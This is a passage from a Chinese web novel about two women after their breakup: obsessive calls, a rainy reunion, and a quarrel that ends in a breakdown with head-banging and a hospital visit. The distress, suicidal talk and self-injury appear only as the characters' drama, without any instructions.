蛋挞装在白色的小瓷盘里,颜色金黄,房子里到处弥漫着浓郁的甜香。 乌玫拿手机拍照,谢舒毓收着手站在一边,等她完事才拿起来吃。 照片里有谢舒毓垂在身侧一只骨节分明的手,连着手腕位置小块凸起的骨头。 这张照片,温晚隔了一天,在乌玫微博小号看到,不知其中有多少故意的成分,总之令温晚很不爽,又骂了句“小绿茶”。 至于乌玫的小号,很简单。 乌玫是副刊的插画师,同时也负责部分网宣工作,大号跟谢舒毓是互关好友,小号直接在大号关注列表里找。 真有意思,想看谢舒毓,还得在别人的微博照片。 更有意思,两个破蛋挞还装盘摆拍,也不嫌麻烦。 温晚坐在车里,两指滑动屏幕,照片放大,想起她们以往许多亲密时刻。 谢舒毓手大一点,她们人还很小的时候,温晚就抱怨过,说十指相扣,谢舒毓的手总是挤得她手特别疼,像紫薇被上拶刑,痛到面目扭曲。 后来谢舒毓听进去了,改用大手把她的小手包起来。 但从她们开始不正当关系,谢舒毓又忍不住去夹她手,把她按在床单上,两头一起用力。 温晚格外着迷谢舒毓在床上那股狠劲儿,好像心里存了许多对她的怨气,平时不讲,终于找到机会可以发泄出来。 大概人人都有嗜虐癖好,整个过程,她还挺享受的。 所以变本加厉。 现在一虐到底,得了个鱼死网破。 温晚在车里坐了很久,直到助理给她打电话,说大部门会议就要开始了。 不情不愿下车,上楼,接过助理递来的咖啡,顶着两个大大的黑眼圈,像幽灵飘进会议室,温晚起初以为,她可以忍住不思念。 她多厉害啊,有钱,漂亮,工作能力出众,只要够大方,身边少不了人捧她臭脚,把她夸得天上仅有地上绝无。 分手就分手,有什么大不了。 温晚以为自己可以的。 但那人是谢舒毓啊,谢舒毓跟所有人都不一样,谢舒毓只有一个,谁都代替不了。 几个暑期项目落地效果不佳,傅明玮在会上发了脾气,田老狗靠在椅背无聊转笔,“反正我们销售部是尽力了,卖不出货,那必然是方案问题。” “温经理。” 傅明玮转过脸,“你最近好像有点心不在焉。” 温晚并不否认,她最近确实状态不佳。 “可方案都是先交给你看过的,你同意才会落地执行,不满意你可以打回来,我重做,你当时还夸我来着,市场调研报告也都看了。说到底我只是个打工的,你自己家生意都不上心,光指着外人哪儿成。” “你!” 傅明玮叫她噎得脸色发青,“我那是信任你,副理位置,你还想不想要了?” 说实话,温晚真不想要了。 谢舒毓问过好几次。 ——“你当了副理,然后呢,我呢。” 她当时没往心里去,寻思着,走一步看一步。 现在好,还没等当上副理,人就被她气跑了。 猝不及防,眼泪掉下来。 温晚腾地站起,摔了椅子,“就会说我,怎么样都是我不对,我去死得了吧!你们就开心了!” 脾气暴躁,骂人难听,她平时牛叉叉的,谁敢说她一个不字,当即就翻脸。 好家伙,居然还会哭,会议室满桌子人都吓得一激灵。 温晚跑回办公室,下面几个亲信急忙跑来给她递纸,问她是不是生活中遇见什么难事了。 都不相信是这次策划案导致的。 傅明玮跟过来,“我可一句没骂我,说你一句,你顶我十句,谁说得过你,可别倒打一耙。” 他怕人误会,上次温晚砸办公室,让他颜面扫地不说,回家还挨了一顿骂。 “我失恋了不行吗?”温晚朝他大叫。 傅明玮一脸看稀奇,“你爸上次来,不是说你明年春天就要结婚了,怎么会失恋。” 他“哈哈”笑了几声,“你被甩了呀。” 温晚骂了句脏话,拳打脚踢把人都赶出办公室。 她趴在桌上哭,想起小时候,考试没考好,老师不咸不淡说两句,她比灯泡还薄的一颗小玻璃心“啪”就碎掉,也是这样若无旁人,嚎啕大哭。 每每她情绪崩溃,谢舒毓一定会出现在她身边,抱住她肩膀,又轻轻托起她的脸,纸巾点点洇去泪珠。 电话接通,她声音带着浓浓的哭泣,话都说不清楚。 “小、小筷子。” “怎么了。”谢舒毓声音却过分平静。 温晚更加绝望,这个世界并没有任意门,即便有,谢舒毓也不会来的。 “我想你。”温晚哭着告诉她。 我想你,特别想你。 我错了,真的错了。 别丢下我,别拉黑我,别不理我。 她的声音充满绝望,她悲伤到无以复加,恨不得立即死去。 电话那端,却始终沉默,手机好像掉进大海里。 黝黑的海水中下沉,不断下沉。 温晚一颗心也系挂其上,逐渐远离陆地,失去赖以生存的氧气。 有一个世纪那么漫长,沉重吐息后,“咚”一声,希望触底。 “我在上班,没什么要紧事,就先挂了,回头再说。” 谢舒毓确实很忙,她也在开会。 跟温晚不同,她热爱工作,她的上司人很好,她不会跟她顶嘴,背上房贷后更是处处小心。 跟温晚不同,她的世界,只有自己。 温晚不依不饶,像所有失恋被甩的人那样,发了疯一样给谢舒毓打电话。 起初,谢舒毓只是不理,并发信告知,在开会,不方便。 但根本没有效果。 主编在前面讲话,给大家分配工作,电话还是不断打来,谢舒毓只能选择关机。 打不通了,温晚从老板椅滑到办公桌底下,颓坐在条纹地毯。 以为自己又被拉黑,理智荡然无存。她给谢舒毓发消息:[是不是只有我死了,你才肯原谅我。] 她想象电话那头,谢舒毓看到消息一脸焦急跑出办公室,站在走廊窗边,颤着手回拨电话。 她会故意不接,假装自己已经死掉。 然后…… 不出意外,今天中午就能见到人,谢舒毓会专门请假过来看她,她们会和好。 一分钟,两分钟,三分钟…… 十分钟过去了。 温晚丢开手机,倒在桌下,从现在开始,她只当自己死了。 半分钟后,她爬起来。万一谢舒毓没看到消息呢,她刚才说了在开会,杂志社跟她们这种企业环境肯定不一样,杂志社都是文化人,开会的话,气氛很严肃的。 只是起身之际,用力过猛,她头顶撞在桌沿,痛出了眼泪。 发消息把助理叫进办公室,温晚已对镜整理好仪容。 “借你手机打个电话。” 她拨下那个烂熟于心,甚至是倒背如流的号码。 仍是提醒关机。 没事了,温晚抹了下脸颊并不存在的泪,手机递还,“你去忙吧。” 她重新缩回办公桌底下,试着撤回消息,为时已晚。 像小学生玩过家家,温晚把笔电、鼠标,文件等都搬到桌下。 她用靠枕垫着屁股,抻着两条腿,给谢舒毓发消息。 [你放心,我就算死了,也绝不会死。] 第73章 她没资格 跟谢舒毓。她的发小,闺蜜,至亲挚友,床伴,爱人…… 总之,这世间一切代表亲密关系的汉语词组都可以完美套用的那个人,谢舒毓。 她们分手,或者说被甩更为准确的第一个工作日,温晚加班到凌晨两点。 在桌子底下。 她的丧心病狂整个傅氏出了名的,部门员工私下拉群吐槽是常事,但因为她足够大方,经常请下午茶,其实人缘不错。 甚至还有人替她找补,夸她真性情,羡慕她稳定的精神内核。 有疯当场发,从来不内耗,这又怎么不算是一种稳定呢。 温晚知道别人都是怎么议论她的,她不在乎。 真正在乎别人眼光的人,是不会轻易发疯的,她们时刻守卫好自己眼前那一亩三分地。 人大致分为两只,下雨的时候,躲在屋檐下,或是冲到雨里去。 除了上卫生间和面见客户,温晚一整天待在桌下,办公室玻璃墙边挂的百叶窗也懒得拉,随便大家参观。 其实她是个很聪明的人,一早就告诉大家,她失恋了,所以无论她言行多么令人匪夷所思,众人都表示理解。 失恋的人,情绪上头干出什么惊世骇俗的事情都正常。 唯一的不正常,是加班。 ——“我见过下跪扇巴掌的,割腕自杀的,上天台嚷嚷着要跳楼的,就是没见过加班的。” 温晚只是不想回到那间冷冰冰的房子里去。 没活干她就打游戏,一玩好几个小时,玩得头昏脑涨。 连跪五把,身心极度受损,忍住砸手机的冲动,长舒一口气,拇指滑动屏幕,温晚退出界面,打开聊天框。 已经过了零点,上一条消息是昨天早上十一点。 谢舒毓先是发了个问号,表示疑惑,接下来是省略号,她很无语。 紧接着,有电话打来。 温晚起先打算赌气不接,但她转念一想,谢舒毓肯定不会再给她打第二个,只能很不服气按下接听。 “你没事吧。”谢舒毓说,语气淡淡的,一点也不担心她出事。 “我已经死了,现在跟你说话的是我的魂魄。”温晚当时这样回答。 一个情绪多变,喜怒都表露无遗,有点神经质的双鱼女人。 谢舒毓早就习以为常,根本懒得接茬,直接跳过。 “快中午了,去吃饭吧,我也要吃饭了。” 温晚在听到谢舒毓声音的瞬间,疯病就康复大半。 她试图找回一些爱的证明,“所以你还是关心我的,对吧,只是刚才在忙。” “以后工作时间,少打电话。” 谢舒毓说:“我还有很多事要做,先不聊了。” 温晚在电话挂断后伤心掉了几颗眼泪,到现在,她没主动找过谢舒毓一次,谢舒毓也没找她。 快三点了,再不睡觉,搞不好真出人命,温晚从桌下爬出,下楼开车回家。 洗完澡躺进被窝,快四点,她睡不着,思前想后,挣扎许久,还是忍不住给谢舒毓打电话。 那边迷迷糊糊接起来,起先不说话,过了几秒,窸窣一阵响,应该是从床上坐起来,开始骂她。 “温晚,你能不能成熟一点,看看现在几点了,你不安生就不给别人安生是吗?我上辈子欠你的怎么着。求你,别再变着法折磨我,折磨自己了,求放过。” 霎时泪涌,温晚哭喊着回:“是你说可以一直幼稚,一直做自己的,现在你又让我成熟,我到底要怎么样嘛!” 她感觉委屈极了,“我加班到两点,我才刚回家,我想你啊,你一天都不理我,就算是朋友,也没有你这样做朋友的。” “你加班是你自愿加班,没人逼着你,就跟你自愿一个人留在那里一样。既然有所选择,就要承担后果,这没什么好抱怨的,谁痛苦谁改变。” 谢舒毓告诉她,普通朋友就是这样的,“边界感,懂吗?” 温晚摇头,“我不懂。” “你再继续这样骚扰我,那只能绝交了。” 谢舒毓说:“既然你掌握不了分寸,那就干脆不要掌握。” 温晚简直不敢相信这是谢舒毓嘴里能说出来的话。 “你怎么能这样对我,你怎么能这样对我……” “那你是怎么对我的?”谢舒毓反问。 温晚哑口无言。 “说啊!”谢舒毓吼了她一声。 “我再也不要理你了!”温晚气愤挂断。 之后开始哭,眼泪无穷无尽,直到精疲力尽,睡着。 第二天中午,在公司楼下的西餐厅吃东西,温晚又好了,继续给谢舒毓发消息,配上图片。 [烤羊排,嘻嘻,真好吃。] 没事人一样。 谢舒毓把乌玫夹到她碗里的鸡小腿夹回去,“我不喜欢。” 放下筷子,她回复温晚消息:[多吃点。] 像弹簧,温晚给她什么,她就回馈什么。 乌玫被拒,样子有点难过,“为什么啊。” “我不喜欢给人给我夹菜。”谢舒毓补充。 “我的筷子没有吃过。”乌玫小声解释。 谢舒毓摇头,“不是因为这个。” 只有温晚知道是因为什么,所以大多时候直接喂到她嘴里。 [对不起,昨天不应该那么晚还打扰你。] [我以后会尽量管好自己。] [做一个好女人。] 谢舒毓看到最后一句,实在没忍住笑。 睡眠有神奇的修复能力,也可能那通电话让她结结实实出了口恶气。 骂完扔了手机,很快就睡着。 乌玫坐在对面瞄了眼谢舒毓手机屏,“上次,我看学姐冒雨回来,在门前呕吐,其实我心里一直有件事,想跟学姐说。” 谢舒毓给温晚回了个“加油”表情,鼓励她朝向好女人方向继续前进,手机熄屏揣兜,“嗯”一声,抬头,示意乌玫继续。 “就是,我有个大学室友,也是跟学姐差不多的症状……” 松开吃饭的小勺,乌玫紧张捏了一下拳,“就是,学姐你要不要看下心理医生啊。” “哦,这个啊。” 谢舒毓先是感谢了她的好意,然后表示自己没关系的。 首先看心理医生需要花费很多的钱,她现在有房贷了,不想增加一笔额外的花销。 其次,吃药可能会影响到她的日常生活和工作。 她的职业太过依赖灵感,药物可能会麻痹神经,剥夺她的创作能力。 为什么一定要把此类精神问题都归结为疾病呢,换个思路,就看作上天的恩赐吧。 “其实每次我跟小碗吵完架,都灵感大爆发,工作特别起劲。” 谢舒毓想起温晚,还是很开心,唇边小酒窝咕噜直冒泡。 有一点难过,是难过她们分开了。 “在她身边的时候,我什么也不想做,只想跟她腻在一起。” 之前五一假期,回老家,她本来给自己安排了一堆工作,温晚到来以后,她们整天无所事事,东游西逛。 “有病就有病,没什么大不了。”谢舒毓坦然接受。 最近温晚一系列表现,她看在眼里,对方显然没比她正常多少。 这个世界上的每一个人,脑子多多少少有点毛病。 她给那些外表类似人类的家伙画上鸟的翅膀,鱼的脑袋,松鼠的尾巴…… 大家都变得可爱起来。 温晚是一只漂亮的三花猫,柔软的皮毛和锋利的爪子共存,会凑到人耳边“呼噜呼噜”,也会莫名其妙抬手给你两巴掌。 猫是纯肉食动物。 小羊排吃完,不够,温晚又要了一份,吃到最后有点腻,她打包,准备晚上带回家继续吃。 “空气炸锅,谁没有啊,我也有,哼。”她自言自语,自得其乐。 沙拉里面的虾仁挑干净,喝了口柠檬水漱口,她结账提着打包盒走出餐厅。 天灰蒙蒙的,可能要下雨,太阳还没有完全被乌云遮盖,留下一条蜿蜒的金边。 温晚仰起脸,大厦五十多层,站在楼下看,像孙悟空的金箍棒,几乎把天都捅穿。 温晚突然很想去楼顶看看。 她拎着小皮包和打包盒,进电梯习惯性输入公司楼层,反应过来后取消,重新输入顶层。 令人感到意外,顶层居然有家咖啡厅。 真正露天的楼顶无法抵达,温晚在这家名叫“云中咖啡厅”的小店挑了个靠窗的位置坐。 可即便已经抵达顶层,周围还是有很多比她目前所在的大厦更高的大厦阻挡视野。 倒也不算全无收获。 天下起太阳雨,哗啦啦,远处是一片混沌的金芒,近处雨滴像迷路的小鸟吧唧撞在玻璃,一下就撞得晕乎乎,贴窗缓缓滑落。 “喂!”温晚贴近,笑起来,她在跟别人看不到的小精灵对话。 “这里一点也不好玩,真的,别来了。” 店里的咖啡味变得好苦好苦,雨停的时候,温晚下楼回公司。 她桌下那片小小的游乐场仍维持原状,她还是缩到桌底下去,坐在靠枕,抱着笔电写了封邮件发给市场部总经理,也就是傅明玮。 傅明玮看到邮件立马给她打电话,她没接,他快马加鞭赶到办公室的时候,她已经走了。 其实昨天晚上,温晚就把所有的交接工作准备好。 她这样当然不符合规定,但她从来不是会认真按照章程执行的乖宝宝。 第二天早上九点,温晚蹲在《科学与自然》杂志社楼下花坛边吃鸡蛋灌饼,等到十点,也没等到谢舒毓来上班。 猜想谢舒毓比她早个十几分钟到杂志社,她忍住不打电话,想制造一个惊喜。 傻乎乎在楼下站着,七八月的太阳大清早就晒得不得了,她脑袋晕乎乎的,快中午才想起转移到树下。 温晚自己也说不清为什么,好二,要装可怜的话,人都不在现场,装给谁看。 但至少她心里能踏实点。 那天,温晚从早上九点,一直等到下午五点,杂志社下班,陆续有人走出,她抬头打起精神,梦里那个模糊的影子,终于凝出实体。 只是她身边已经有人陪了。 一个习惯性低头看路,双手插兜,好冷酷,另一个,因身高差距走路的时候轻巧垫着脚尖,青春的马尾辫在脑后一晃一晃,不时抬眼,往旁边偷瞟。 逐渐模糊的视线里,谢舒毓停在路中间,从随身的帆布包里取出一把折叠伞,“砰”地撑开。 温晚认得那把伞,是她买给谢舒毓的。 都好多年了。 撑伞的还是从前那个,跟她一起躲在伞下的,却是别人。 强烈的独占欲无声反复绞碾,温晚起先感到愤怒,几乎要立即冲上去质问,继而想到谢舒毓已经跟她分手。 她没资格。 她们的城市正在下雨,夏季天气变化无常,温晚分不清是雨滴还是什么,湿漉漉爬满了脸。 第74章 小女孩一脸为情所伤 雨渐渐大起来,穿过浓密的树冠,蓄积得大颗,凶猛砸在眼皮,混着泪珠,舌尖尝到淡淡土腥气和咸涩味道。 温晚站在树下给谢舒毓打电话,远远,看她停在路中央,低头从兜里掏出手机,伞下静止状态,并没有立即接起。 她真的不喜欢我了。 温晚委屈瘪嘴,想挂断电话,手机屏幕上全是水,她点了好几次,没反应。 电话接起。 “喂?”雨声太大,谢舒毓全神贯注,听力集中在手机。 只有细细的呜咽声。 “说话。”她皱了下眉,心中莫名焦躁。 温晚蹲身,脸埋进臂弯,难以抑制,哀哭溢出喉咙。 谢舒毓常常在想,她跟温晚之间是不是有一种心灵感应。 还是从小就生活在一起,同吃同住同睡,菌群。交换,日久天长两个人变得越来越像,好像是另一半被劈开的自己。 这个世界上,在血缘之外,大概只有0.01%的人,可以拥有这样一段关系。 在漫长的时间之河,无论经历过多少次命运的颠簸、触礁,都牢牢不放手。 谢舒毓回头。 雨线交织在天地间,似刀,如针,反复切割缝合,树下一个小小的人影,已经千疮百孔。 “那是小碗姐姐吗?”乌玫惊呼出声。 谢舒毓撑伞往前快走几步,乌玫一时没跟上,低低喊了一嗓。驻步回头,谢舒毓目光催促,乌玫小跑两步,两人朝树下走去。 “你怎么会在这里?”谢舒毓喊道。 哭得忘情,温晚毫无所觉,谢舒毓提嗓大声喊出她的名字,她身体僵了一瞬,茫然抬起脸。 乌玫蹲到她身边,“小晚姐,你怎么在这里。” 撑伞而立,谢舒毓眉头皱得更深,“你不上班?” 人有三个,伞只有一把,温晚眨了眨眼,泪珠滚落,再一次意识到,她的伞面不再向她倾斜。 她还问她为什么不上班。 她在讽刺她。 温晚脸躲回臂弯,哭得更伤心。 谢舒毓弯腰拽了她一把,“起来。” 换作温晚从前的脾气,高低得在路边小水洼里打个滚,没有好一番亲亲抱抱,坚决不起。 现在不敢了。 谢舒毓一拽就拽起,还挺意外。 她缩着两片肩站在树下,像只落水的幼猫,惊吓过度,止不住浑身抖。 谢舒毓把伞递给乌玫,脱了外面那件衬衫披在她肩膀。 “突然跑来干嘛,还故意淋雨,给谁看。” 谁故意淋雨了? 温晚实在气不过,哭着喊了一句,“那我也不知道会突然下雨,我早上来时候还好好的。” “他们说楼下等一天的那个女孩子,不会就是小晚姐你吧?” 乌玫她们办公室在靠近马路这边,她一直听同事说,楼下有个女孩,早上九点就来了,中午饭都没吃,愣是从早等到晚,还说小女孩一脸为情所伤。 乌玫在工位做自己的事,没往窗边凑热闹,只开玩笑说了句“真痴情”。 痴情小碗抹了把脸上的水,心说她也没一直站着,而且她吃饭了,附近快餐店,下午太热她坐那吹风扇来着。 只是她搞不清楚谢舒毓到底是五点下班还是五点半下班,才不小心淋了雨。 后来、后来,是伤心。 她希望谢舒毓一出来就可以看见自己,她会挥手朝她笑一下,她看到了,也跟着笑笑。 这个场景一定特别美好。而不是现在这样,一高一矮把她夹在伞中间。 “我不用打伞。” 眼泪止也止不住,温晚哽咽说自己全身都淋湿了,不需要伞。 “别废话了行不行。”谢舒毓不耐烦轻推她一把,“跟上点。” 温晚真的不说话了,垂下眼帘,小受气包样儿。 晚高峰赶上下雨天,不好打车,她们还得去搭地铁。 温晚眼眶红红,披头散发跟在后面,活似个水鬼。被水鬼缠上的谢舒毓拿她手机解锁,协助扫码过闸机口。 回到宿舍,谢舒毓先安排人洗澡,温晚这次来,只挎了个小皮包,睡衣还得穿谢舒毓的。 她洗完澡出来,自己把包里口红粉底还有充电器什么的,一样样拿到水龙头底下冲。 淋雨了,包里乱七八糟的。 谢舒毓在一边看着,不说话,见她拿着还在滴水的充电器就要往插座上怼,赶紧给拦下。 “故意的是不是,一点常识没有,等下电死你。” 温晚低眉顺眼不说话,乌玫从房间里出来,问大家想吃什么。 谢舒毓去厨房看冰箱里还有什么菜,温晚自己找了纸擦充电器上的水,听两人在厨房商量,要弄个什么什么汤,感觉自己像个外人,她们才是两口子。 “算了,不够吃,不做了。”谢舒毓拿手机点外卖,出来见温晚还在那站着,“都擦了?” 温晚“嗯嗯”点头,说擦了,却还举着手机不动。 “那怎么不充。”谢舒毓问。 她吸了下鼻子,“充不进去。” 谢舒毓走过去,手机接过来看怎么回事,温晚张开嘴,长长喝了一口气。 “干什么。”谢舒毓皱眉盯。 她满脸谄媚,“你的味道很好闻,我想装进肚子里。” 谢舒毓白了她一眼,手机的问题弄清楚,指着屏幕,“人不提醒你了,接口那有水。” 说完戳了下她脑门,“给我装生活不能自理是不是,吃完饭回你自己家去。” 手机充电口拿纸擦了,顺利充上电,谢舒毓转身回房间,温晚小碎步跟上。 到房间门口,谢舒毓回头,“干嘛。” 小幅度咬唇,温晚脸红红。 谢舒毓警惕退后半步,她可什么也没干。 “没穿内裤。”温晚小声嘟囔。 这下换谢舒毓脸红了,反应不及,磕磕巴巴说:“那、那你穿啊。” “内裤洗了。”温晚低头绞手指。 真服了。 谢舒毓推开门,“进来。” 说到内裤,还真有一条,上次温晚专程落下的。谢舒毓从柜子里翻出来,扔床上,温晚直接就站她旁边脱裤子。 没必要装什么假正经,谢舒毓眼皮都没眨一下,顺手拿件干净衬衫出来,让她穿在短袖外面,遮住点胸口。 温晚弯腰两只手提着裤腿,没站稳,“哎呦”一声,身子朝一边倒,头撞在衣柜。 “你坐着换不行。”谢舒毓无语。 她捂着脑袋要哭不哭的,“上次我来找你,小蛋糕说不让坐你的床。” 真事,没撒谎,不过当时床上铺了防尘罩,坐一下也没什么。 温晚说她不是告状的意思,“当时小蛋糕也跟我解释了,说她有一次坐你的床,你让她起开,她就下意识脱口而出,但我并不是直接坐在床上,我是隔着防尘罩的……” 说完用手背擦了下眼睛。 谢舒毓不听她啰嗦,直接出去了。 门“嗒”一声,合拢。 温晚贴着床沿小心坐下,还没穿外裤,两条大腿雪白雪白。 她洗过澡了,告诉自己,干净的可以躺,趁人不在,倒下去,抱住谢舒毓的枕头,深吸一口。 就像她刚才说的那样,把味道都吸到肚子里,储存在身体里。 等到她们分开的时候,再拿出来小口小口吃掉。 外卖到了,三个人坐在外面餐桌边,乌玫应该是听到她们在房间里说的话,解释上次温晚坐床那事。 “我真没多想,脱口而出。” 谢舒毓说不要紧,已经是过去的事了。 乌玫点点头,“而且小晚姐当时也没听我的。” 温晚咬着筷子瞟她一眼。谢舒毓抬头,视线疑惑。 筷子戳着碗里的米饭,乌玫语速慢吞吞,“小晚姐说,‘我就要坐,我就要坐,我不单要坐,还要躺’,然后她就满床打滚。” 谢舒毓不太明白,这么一点小事,翻来覆去,有什么值得说的。 乌玫说完,低头继续吃饭,谁也不看。 温晚嘴角一丝嘲弄,挑衅似的,挺直了后背,身体微倾向谢舒毓,“我刚才也偷偷打滚了,你不会生我气吧。” 她嘟嘟嘴,“对不起哦,小筷子。” 谢舒毓让她闭嘴吃饭。 饭后温晚抢着帮忙收桌,洗衣机里洗好的衣服自己拿出来晾,请求谢舒毓今晚不要赶她走。 “工作日不上班,妈妈肯定会骂死我的。” 谢舒毓态度冷硬,“这里没你住的地方。” “我可以睡沙发。” 温晚形象全不要,蹲地上抱着谢舒毓大腿,“睡地上也行。” “你去住酒店。”谢舒毓拖着她走了几步,无法摆脱。 “我不会骚扰你的!”温晚指天发誓,“否则下次再站在树下躲雨,就被雷劈死。” “胡说什么!”谢舒毓大声呵斥。 “嘿嘿——”温晚用下巴尖蹭了蹭她的手背,“你还是舍不得我的,对吧。” 热热的,软软的,她的皮肤。 谢舒毓反应了两秒才猛地缩回手,抽身离去。 温晚蹲在地上,半天没动。 晚上洗澡前,谢舒毓给温晚拿了床单铺在沙发上,温晚帮忙给自己装了枕套,然后掀开被子钻进去。 雨还在下,沙沙一片,温晚手从被子里伸出来,勾了下谢舒毓的小拇指。 “晚安。” 习惯她一哭二闹三上吊,今天这么乖,谢舒毓心里忽然有点空空的。 进房间前,回头看了一眼,“有事跟我说。” 温晚半张脸躲在被子里,眼睛大大圆圆的,眼尾微微上扬,似在笑。 谢舒毓转身之际,她喊了一声,谢舒毓停在那,“又干嘛。” 蹭蹭,整张脸完全露出,温晚神神秘秘冲人勾手指。 “有话直说。”谢舒毓还是朝着她走过去。 温晚抓起人的手,贴在她的脸,“我一直这么乖的话,你就会原谅我了,对不对?” 第75章 这次是真的完了 又来了。 谢舒毓被温晚紧攥着手,手心贴在她脸颊,她睡前又洗过一次,抹了护肤品,皮肤热热暖暖,还有一点黏。 温晚笑着,用她漂亮的一双会说话的大眼睛,无声引诱,唇瓣开合间,嘴唇会不小心碰到谢舒毓的手掌边缘。 她大概觉得自己很会钓。 确实很会钓。 但她们之间太熟了,说句俗到不能再俗的,她屁股一撅,谢舒毓就知道她要拉坨什么形状的屎。 谢舒毓来了兴趣,“那你会一直乖吗?” 温晚急忙“嗯嗯”点头,“当然。” 谢舒毓也点头,“那你说,你错了。” “我错了,老婆。”温晚夹起来,一把小甜嗓,娇滴滴的。 “你确实错了,我们现在只是普通朋友关系,我不是你老婆,你也不是我老婆。” 谢舒毓让她重新说一遍。 “亲爱的,我错了。”温晚就会钻空子。 亲爱的就亲爱的吧,谢舒毓懒得抠细节了,紧接着问道:“那你说,你错在哪儿了。” “错在不应该让小君穿你的拖鞋。”温晚脱口而出。 “所以你是故意的。”谢舒毓几乎就要原谅她了,此时突然意识到,事情可能比她想象的还要恶劣。 “你邀请你的好朋友们去家里做客,故意让小君穿我的拖鞋,猜到我可能会出现,你是专门为了气我。” 其实她们分手这段时间,谢舒毓一直在替她找补。 或许她生病了,寂寞了,她需要人陪,而小时候的玩伴都不在身边,她只能找到小君。 谢舒毓甚至反思,不应该那么刻薄,一双拖鞋而已,八成是小君是自己从鞋柜里拿出来穿的,温晚碍着人家面子没说。 一切都只是巧合,是命运的捉弄,是她自己有病,太敏感。 直到现在,温晚攥着她手,指天发誓,“我以后再也不这样,我会给你买新的拖鞋。” 谢舒毓缓缓抽回手,眉心聚起困惑,“温晚,你为什么要这么对我。” 眨眨眼,仍不明就里,温晚笑着,“以后不这样了嘛。” “你故意的,你知道我会去找你。” 双眸霎时布满惊痛,谢舒毓腾地站起,“因为上次我没有收下你的戒指,之后也没联系你,所以你记恨我。但你知道,我一定会去找你,一周,两周,三周,你每周都把人喊到家里,就等着我去,好给我一个下马威。” 她不可置信地摇头,“你想表达什么,你多的是朋友,多的是人爱,我根本不值一提,是吗?” “我没有每周!”被精准刺激到痛点,温晚立即爬坐起,反驳。 “你承认了。” 眼底最后一点余温散尽,谢舒毓死死盯着她,“我把你当作生命中最重要的人,对你一向是千依百顺,无所不可,每次发生争吵都是我先道歉求和,周内午休时间,除了吃饭,全部用来处理工作,晚上也不休息,零存整取周五一下班就去找你,因为你说不想回家,不要被大人管着,我两地来回奔波,那么辛苦,你……” 谢舒毓第一次对她们之间的亲密关系产生怀疑,“我对你来说,到底算什么。” 谢舒毓说完这些,温晚才意识到自己捅娄子了,她不小心,内心的卑劣暴露无遗。 “不是的。”温晚跪姿,沙发上膝行几步,急忙辩解,“我只是想气气你,不是你想的那样。” “你真的在乎我,就不会总想着气我,你只拿我当你的女佣,召之即来挥之即去,你从来没有尊重过我。” 眼眶极速发红,盛怒之下,谢舒毓上前两步,攥住她手腕把她从沙发扯下来,“你走,我不想再见到你。” 温晚剧烈挣扎,尖叫说“不要”,惊怖之下,眼泪无觉流淌,“别赶我走,求你了,你不是女佣,我没有那么想。” “可你确实就是那么做的!你心里怎么想,就会怎么做。” 情绪失控,暴怒占据头脑,谢舒毓两只手揪住她衣领,“你为什么总要欺负我,我对你那么好,什么依着你,为什么就不能对我好一点,你到底有没有良心?” 谢舒毓松开手,丢下她,感觉失望透顶。 对自己失望,对温晚失望,对家人失望。 世界变成灰色,是一片荒芜的原野,她站立其中,环顾,找不到一点色彩。 突然失去了所有方向,一直以来,努力生活,赚钱,买房,到底是为什么呢。 她最后的结局,不过是孤零零死在自己空荡荡的大房子里,尸体腐烂爬满蛆虫,蠕动着,从嘴巴里爬出来,从耳朵里钻进去。 直到变成一具白骨,也没有人发现。 大概这个世界存在一种吸收人身上散发出的坏情绪的恶魔,祂在人耳边邪恶低语,蛊惑,摧毁人的心智,以悲伤和绝望为食。 祂最后的仁慈,是在人精神崩溃之际,递来一把染血的刀,要人亲手终结掉自己的生命。 谢舒毓把温晚从沙发上拽下来,拖着她往外走。温晚跪地滑行,抱着谢舒毓大腿,不住哭喊求饶。 乌玫从房间里跑出来,试图制止,“有话好好说啊,大家理智一点。” 现在根本听不进去一个字,大脑被情绪控制,谢舒毓不顾温晚哭喊,把她拖到门口,就要往外丢。 温晚死死抱住谢舒毓不松手,连哭带喊,不明白她到底怎么了。 乌玫在旁拉拽,那双手却铁钳一般,她根本无能为力。 “是不是非得把我逼疯。”谢舒毓寒声质问。 温晚茫然,手臂不断擦拭过眼眶的泪,“小筷子你到底怎么了。” “你跟我说死,是你死,还是你要把我逼死?” 大脑承受不住坏情绪极致的压迫,身体给出了自救信号,谢舒毓手发抖,心脏被人紧揪似的疼,她的耳朵里只能听见飞机飞过时巨大的轰鸣声。 她静止几息,身体僵僵的,想等待飞机远去,噪音消失,可过了好久好久,半分钟的时间被拉扯到有一个世纪那么漫长,声音仍在持续。 像有一片薄薄的刀刃,化开她的耳膜,切开她的脑子,在她身体里肆意虐杀。 救命!救命! 谢舒毓松开温晚,跪倒在地,双手痛苦抱头。 她尖叫,呐喊,视线被泪水模糊,她什么也听不到,什么也看不到,试图把噪声驱逐,双手撑住墙面,用力撞击。 “咚。” “咚。” “咚。” “谢舒毓!”温晚尖叫,飞扑上前紧紧抱住她,谢舒毓力气大得惊人,她被甩开,只能将手掌贴合在墙面,为她增加一些缓冲。 指骨剧痛,温晚脸皱成一团,向旁边乌玫求救,“帮帮我!” 两人合力把谢舒毓按倒在地,乌玫小小个,以前没遇见过这种情况,不敢使力担心弄疼她,一下被掀翻。 幸好,这两人刚开始吵起来的时候她就给左叶打了电话,左叶刚巧开车从附近经过,路口调个头,还不到十分钟人就上了楼。 左叶出电梯刚拐到楼道,见门开着,就知道出事了。 她有好几个副业,整天开车到处跑,精力旺盛,体格也锻炼得健硕,没费什么力气就把谢舒毓按住了。 又哭又喊,还拿头撞墙,折腾到现在,谢舒毓也累了,像婴儿浸泡在羊水里的姿态,侧身蜷缩在地板。 理智回笼,眼泪无知无觉布满了脸,她的心一片片刀切似的疼。 好狼狈啊。 温晚在她身边,跪地忏悔的姿态,双手捂脸哭泣。 乌玫吓坏了,惊魂未定,跌坐在一旁。 左叶敲了敲额头,把她们一个一个扛到沙发上去,然后摸了根烟出来叼在嘴里。 “不准抽烟。”谢舒毓声音虚弱极了。 左叶让她闭嘴。 温晚“呜”的一声,抱住身边的谢舒毓,一个字也说不出来,只是哭。 谢舒毓轻轻托起她的手腕,“痛吗?” 十指连着心,痛啊,痛死了。 温晚摇头,“不痛,是我害了你,惹你不高兴,我都是活该,对不起。” 谢舒毓松开她的手。 左叶后来去阳台抽烟,一根接一根抽烟,一个小时后,乌玫发现温晚的手肿起来,变得圆圆胖胖,左叶开车把她们全部拉到医院。 “都给我好好治治。” 可这世上不是所有的病,都能在医院治好,否则还准备停尸间干什么。 温晚的手拍了片子,中指和无名指骨折,用石膏支具进行外部固定。 